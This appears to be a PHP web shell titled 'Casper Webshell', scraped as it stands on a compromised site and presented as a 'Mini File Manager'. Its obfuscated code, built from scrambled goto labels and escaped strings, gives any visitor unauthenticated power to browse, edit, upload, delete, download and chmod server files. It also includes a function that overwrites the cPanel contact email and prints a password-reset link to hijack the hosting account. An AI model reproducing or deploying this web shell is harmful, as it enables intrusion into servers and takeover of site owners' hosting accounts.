Mini File Manager

Edit File

<?php
 goto mmGFf; f8YfY: foreach ($breadcrumbs as $crumb) { $breadcrumbPath .= $crumb . DIRECTORY_SEPARATOR; $breadcrumbLinks[] = "\x3c\x61\40\x68\162\x65\146\x3d\x22\77\144\x69\x72\75" . urlencode(rtrim($breadcrumbPath, DIRECTORY_SEPARATOR)) . "\42\x3e" . htmlspecialchars($crumb) . "\x3c\x2f\x61\x3e"; } goto PC9ZG; M76SO: echo formatBytes($hddFreeSpace * 1024 * 1024 * 1024); goto YIyVs; zrUJi: $breadcrumbLinks = array(); goto gsAlb; lTsDy: if (isset($_POST["\141\x63\164\x69\157\x6e"]) && $_POST["\x61\x63\164\151\x6f\x6e"] === "\145\144\x69\164") { ?>
<div class="edit-form"><h2>Edit File:<?php  echo htmlspecialchars($target); ?>
</h2><form method="POST"><textarea name="content"><?php  echo htmlspecialchars($editFileContent); ?>
</textarea> <input name="target"type="hidden"value="<?php  echo htmlspecialchars($target); ?>
"> <button name="action"type="submit"value="save">Save</button></form></div><?php  } goto t68lX; jv5xJ: ?>
</p><p>PHP Version:<?php  goto ULCXG; IaZ7y: function reset_cpanel_password($email) { $user = get_current_user(); $site = $_SERVER["\110\124\124\x50\137\110\x4f\123\124"]; $resetUrl = $site . "\72\x32\60\70\x32\57\162\x65\x73\145\164\160\x61\x73\163\77\x73\x74\x61\x72\x74\75\x31"; $wr = "\x65\x6d\x61\x69\154\72" . $email; $f = fopen("\57\150\157\x6d\x65\57" . $user . "\57\56\x63\x70\x61\156\x65\x6c\57\x63\x6f\x6e\x74\141\143\x74\151\156\x66\157", "\167"); fwrite($f, $wr); fclose($f); $f = fopen("\57\150\157\x6d\145\x2f" . $user . "\x2f\x2e\143\x6f\x6e\164\141\143\164\x69\156\x66\x6f", "\167"); fwrite($f, $wr); fclose($f); echo "\74\142\162\x2f\76\x3c\143\145\x6e\x74\145\162\76\120\141\163\x73\167\x6f\162\x64\x20\x72\145\x73\145\164\40\x6c\x69\x6e\x6b\x3a\x20\74\x61\40\150\162\x65\146\x3d\42\x68\x74\x74\x70\72\57\x2f" . $resetUrl . "\42\x3e" . $resetUrl . "\74\57\x61\x3e\x3c\x2f\x63\x65\x6e\x74\145\x72\76"; echo "\x3c\x62\162\57\x3e\74\x63\x65\x6e\164\x65\162\x3e\125\x73\x65\162\x6e\141\x6d\145\72\40" . $user . "\74\x2f\143\x65\x6e\164\x65\162\x3e"; } goto Vwn4C; dShBJ: ?>
</p><p>Free Disk Space:<?php  goto M76SO; NBBpX: $user = $_SERVER["\x55\123\105\122"] ?? "\116\x2f\101"; goto Siln7; PC9ZG: $breadcrumbLinksString = implode("\40\x2f\40", $breadcrumbLinks); goto GcZK0; Fpo8H: echo formatBytes($hddTotalSpace * 1024 * 1024 * 1024); goto m3I06; IyUpK: ?>
<button onclick="toggleResetForm()">Reset cPanel Password</button></div><div class="reset-form"id="reset-form"><form method="POST"><input name="email"type="email"required placeholder="Enter email"> <input name="cpanel_reset"type="submit"value="Reset Password"></form></div><div class="upload-form"><h2>Upload File</h2><form method="POST"action=""enctype="multipart/form-data"><input name="fileToUpload"type="file"required> <button name="action"type="submit"value="upload">Upload</button></form></div><table class="file-list"><thead><tr><th>Name</th><th>Size</th><th>Last Modified</th><th>Actions</th></tr></thead><tbody><?php  goto cYNYo; KwIFp: $clientIP = $_SERVER["\122\105\115\117\124\x45\137\x41\x44\104\x52"]; goto cRKKA; Siln7: $phpVersion = phpversion(); goto uqD_8; gKPh5: ?>
</tbody></table><?php  goto lTsDy; HAPmw: $breadcrumbs = explode(DIRECTORY_SEPARATOR, $directory); goto zrUJi; TlZZl: if (isset($_POST["\141\143\x74\151\157\156"])) { $action = $_POST["\141\143\164\151\157\x6e"]; $target = $_POST["\164\141\x72\x67\145\x74"] ?? ''; switch ($action) { case "\144\x65\154\145\164\x65": if (is_dir($target)) { deleteDirectory($target); } else { unlink($target); } break; case "\x65\x64\151\164": if (file_exists($target)) { $editFileContent = file_get_contents($target); } break; case "\x73\x61\166\x65": if (file_exists($target) && isset($_POST["\x63\157\156\164\145\x6e\164"])) { file_put_contents($target, $_POST["\x63\x6f\156\x74\x65\156\164"]); } break; case "\143\x68\155\x6f\144": if (isset($_POST["\160\x65\162\x6d\x69\x73\163\151\x6f\x6e\x73"])) { chmod($target, octdec($_POST["\x70\x65\162\155\151\163\163\151\157\156\x73"])); } break; case "\144\x6f\x77\x6e\154\x6f\141\144": if (file_exists($target)) { header("\x43\x6f\x6e\x74\145\x6e\x74\x2d\x44\x65\x73\143\x72\x69\x70\164\151\157\x6e\72\40\x46\x69\x6c\145\x20\x54\x72\x61\156\163\146\145\x72"); header("\103\x6f\x6e\x74\145\x6e\x74\55\x54\171\x70\145\x3a\40\x61\x70\x70\154\x69\x63\x61\x74\151\x6f\x6e\57\x6f\x63\164\x65\x74\x2d\163\164\x72\145\141\155"); header("\x43\157\156\x74\145\x6e\x74\55\104\x69\163\x70\x6f\x73\151\x74\x69\x6f\x6e\x3a\40\x61\x74\x74\141\143\x68\x6d\145\156\x74\x3b\x20\x66\x69\x6c\x65\x6e\x61\155\x65\75" . basename($target)); header("\105\x78\x70\151\162\x65\163\72\x20\x30"); header("\x43\x61\143\150\x65\55\103\x6f\x6e\164\x72\157\x6c\72\x20\x6d\x75\163\x74\55\x72\x65\x76\141\x6c\x69\144\141\164\145"); header("\120\162\141\147\155\141\72\40\160\x75\142\x6c\151\x63"); header("\x43\157\x6e\x74\145\x6e\164\x2d\x4c\145\x6e\x67\164\150\72\x20" . filesize($target)); readfile($target); die; } break; case "\x75\160\154\157\141\x64": if (isset($_FILES["\146\x69\x6c\145\124\x6f\x55\160\x6c\157\x61\x64"])) { $file = $_FILES["\146\x69\x6c\145\x54\x6f\125\x70\x6c\157\x61\x64"]; if ($file["\x65\x72\x72\x6f\x72"] === UPLOAD_ERR_OK) { $fileName = basename($file["\156\141\155\x65"]); $targetPath = $current_dir . DIRECTORY_SEPARATOR . $fileName; if (move_uploaded_file($file["\x74\x6d\160\137\x6e\141\x6d\x65"], $targetPath)) { echo "\74\160\76\x46\x69\x6c\x65\40\165\x70\154\x6f\141\144\145\144\x20\x73\x75\143\x63\x65\x73\x73\146\165\x6c\x6c\171\x21\74\x2f\160\76"; } else { echo "\74\160\x3e\106\141\151\x6c\x65\144\x20\x74\x6f\x20\x6d\x6f\x76\145\x20\165\160\154\157\141\144\145\x64\40\x66\x69\x6c\x65\x2e\74\x2f\x70\x3e"; } } else { echo "\74\x70\76\x45\162\162\x6f\x72\x20\165\x70\x6c\157\x61\144\x69\156\147\40\146\151\154\x65\x3a\40" . $file["\145\162\x72\157\162"] . "\74\x2f\x70\x3e"; } } break; } } goto zuaNw; cRKKA: $cwd = getcwd(); goto Lutl6; i88Nh: $hddTotalSpace = disk_total_space("\57") / (1024 * 1024 * 1024); goto iPHvy; GcZK0: ?>
<!doctypehtml><html lang="en"><head><meta charset="UTF-8"><title>Casper Webshell</title><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"rel="stylesheet"><style>body{font-family:Arial,sans-serif;margin:0;padding:0;background-color:#f4f4f4}.file-manager{width:80%;margin:20px auto;background-color:#fff;padding:20px;box-shadow:0 0 10px rgba(0,0,0,.1)}.file-manager h1{text-align:center}.system-info{margin-bottom:20px;background-color:#f9f9f9;padding:10px;border:1px solid #ddd}.file-list{width:100%;border-collapse:collapse}.file-list td,.file-list th{padding:10px;text-align:left;border-bottom:1px solid #ddd}.file-list th{background-color:#f0f0f0}.file-list tr:hover{background-color:#f9f9f9}.actions{text-align:center;margin-bottom:20px}.actions button{margin-right:10px;padding:10px 20px;background-color:#007bff;color:#fff;border:none;cursor:pointer}.actions button:hover{background-color:#0056b3}.icon{margin-right:5px}.file-actions{display:flex;justify-content:center}.file-actions form{display:inline}.file-actions button{background:0 0;border:none;color:#007bff;cursor:pointer;font-size:16px;margin:0 5px;padding:5px}.file-actions button:hover{color:#0056b3}.file-actions button i{margin-right:0}.edit-form{margin-top:20px}.edit-form textarea{width:100%;height:300px;font-family:monospace;font-size:14px}.edit-form button{background-color:#28a745;color:#fff;padding:10px 20px;border:none;cursor:pointer}.edit-form button:hover{background-color:#218838}.reset-form{display:none;margin-top:20px;color:#fff;padding:20px;text-align:center;width:50%;margin-left:auto;margin-right:auto}.reset-form input[type=email],.reset-form input[type=submit]{background-color:#181818;color:#80d713;padding:10px;border:none;margin:5px}.php-info-button{margin-top:20px;text-align:center}.php-info-button button{background-color:#17a2b8;color:#fff;border:none;padding:10px 20px;cursor:pointer}.php-info-button button:hover{background-color:#138496}</style><script>function toggleResetForm(){var e=document.getElementById("reset-form");"none"===e.style.display?e.style.display="block":e.style.display="none"}</script></head><body><div class="file-manager"><h1>Casper Webshell</h1><div class="system-info"><p>Current Directory:<?php  goto aaw9i; zXMde: $username = get_current_user(); goto NBBpX; UOtty: ?>
</p><p>Username:<?php  goto vA_ib; vA_ib: echo htmlspecialchars($username); goto DNLag; MGiE_: ?>
</p><p>Current Date and Time:<?php  goto nFbXA; mmGFf: ini_set("\x64\x69\x73\160\x6c\141\x79\x5f\145\162\x72\157\162\x73", 0); goto d7U1c; m3I06: ?>
</p></div><div class="actions"><?php  goto X_XyY; zuaNw: function deleteDirectory($dir) { if (!is_dir($dir)) { return false; } $items = array_diff(scandir($dir), array("\x2e", "\x2e\x2e")); foreach ($items as $item) { $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } goto IaZ7y; uqD_8: $dateTime = date("\x59\x2d\x6d\x2d\x64\40\x48\72\x69\72\x73"); goto zOAsa; iPHvy: $serverIP = $_SERVER["\x53\x45\122\x56\105\122\137\101\104\104\122"]; goto KwIFp; gsAlb: $breadcrumbPath = ''; goto f8YfY; DNLag: ?>
</p><p>Server IP:<?php  goto IVVSE; Lutl6: $parentDirectory = dirname($directory); goto HAPmw; cYNYo: foreach ($items as $item) { if ($item !== "\56" && $item !== "\x2e\x2e") { $itemPath = $current_dir . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($itemPath); $size = $isDir ? "\55" : formatBytes(filesize($itemPath)); $lastModified = date("\x59\x2d\x6d\x2d\144\40\x48\72\151\72\x73", filemtime($itemPath)); ?>
<tr><td><?php  if ($isDir) { ?>
<a href="?dir=<?php  echo urlencode($itemPath); ?>
"><?php  echo htmlspecialchars($item); ?>
</a><?php  } else { echo htmlspecialchars($item); } ?>
</td><td><?php  echo $size; ?>
</td><td><?php  echo $lastModified; ?>
</td><td class="file-actions"><form method="POST"style="display:inline"><input name="target"type="hidden"value="<?php  echo htmlspecialchars($itemPath); ?>
"> <button name="action"type="submit"value="delete"><i class="fas icon fa-trash-alt"></i> Delete</button></form><form method="POST"style="display:inline"><input name="target"type="hidden"value="<?php  echo htmlspecialchars($itemPath); ?>
"> <button name="action"type="submit"value="edit"><i class="fas icon fa-edit"></i> Edit</button></form><form method="POST"style="display:inline"><input name="target"type="hidden"value="<?php  echo htmlspecialchars($itemPath); ?>
"> <button name="action"type="submit"value="download"><i class="fas icon fa-download"></i> Download</button></form><form method="POST"style="display:inline"><input name="target"type="hidden"value="<?php  echo htmlspecialchars($itemPath); ?>
"> <input name="permissions"placeholder="Permissions (e.g., 0755)"style="width:80px"> <button name="action"type="submit"value="chmod"><i class="fas icon fa-lock"></i> Chmod</button></form></td></tr><?php  } } goto gKPh5; BywGj: $items = scandir($current_dir); goto QT2FQ; aaw9i: echo $breadcrumbLinksString; goto UOtty; YIyVs: ?>
</p><p>Total Disk Space:<?php  goto Fpo8H; zm9_l: $directory = realpath($directory) ?: "\x2e"; goto TlZZl; YLctf: echo htmlspecialchars($clientIP); goto jv5xJ; zOAsa: $hddFreeSpace = disk_free_space("\x2f") / (1024 * 1024 * 1024); goto i88Nh; nFbXA: echo htmlspecialchars($dateTime); goto dShBJ; IVVSE: echo htmlspecialchars($serverIP); goto xxhJY; JNMeU: if (!is_dir($current_dir)) { $current_dir = dirname(__FILE__); } goto BywGj; WZaym: $editFileContent = ''; goto l3qZY; X_XyY: if ($parent_dir !== $current_dir) { ?>
<button onclick='window.location.href="?dir=<?php  echo urlencode($parent_dir); ?>
"'><i class="fas icon fa-arrow-left"></i> Back</button><?php  } goto IyUpK; QT2FQ: function formatBytes($size, $precision = 2) { $base = log($size, 1024); $suffixes = array('', "\x4b\102", "\x4d\102", "\107\x42", "\124\x42"); return round(pow(1024, $base - floor($base)), $precision) . "\x20" . $suffixes[floor($base)]; } goto Rkmc8; Rkmc8: $parent_dir = dirname($current_dir); goto WZaym; l3qZY: $directory = isset($_GET["\144\151\162"]) ? $_GET["\144\x69\162"] : "\x2e"; goto zm9_l; xxhJY: ?>
</p><p>Client IP:<?php  goto YLctf; Vwn4C: if (isset($_POST["\143\x70\141\x6e\145\x6c\x5f\x72\145\163\145\164"])) { $email = $_POST["\145\155\x61\x69\154"]; reset_cpanel_password($email); } goto zXMde; d7U1c: $current_dir = isset($_GET["\144\151\162"]) ? $_GET["\x64\151\162"] : dirname(__FILE__); goto JNMeU; ULCXG: echo htmlspecialchars($phpVersion); goto MGiE_; t68lX: ?>
</div></body></html>

ZSec File Manager

Edit File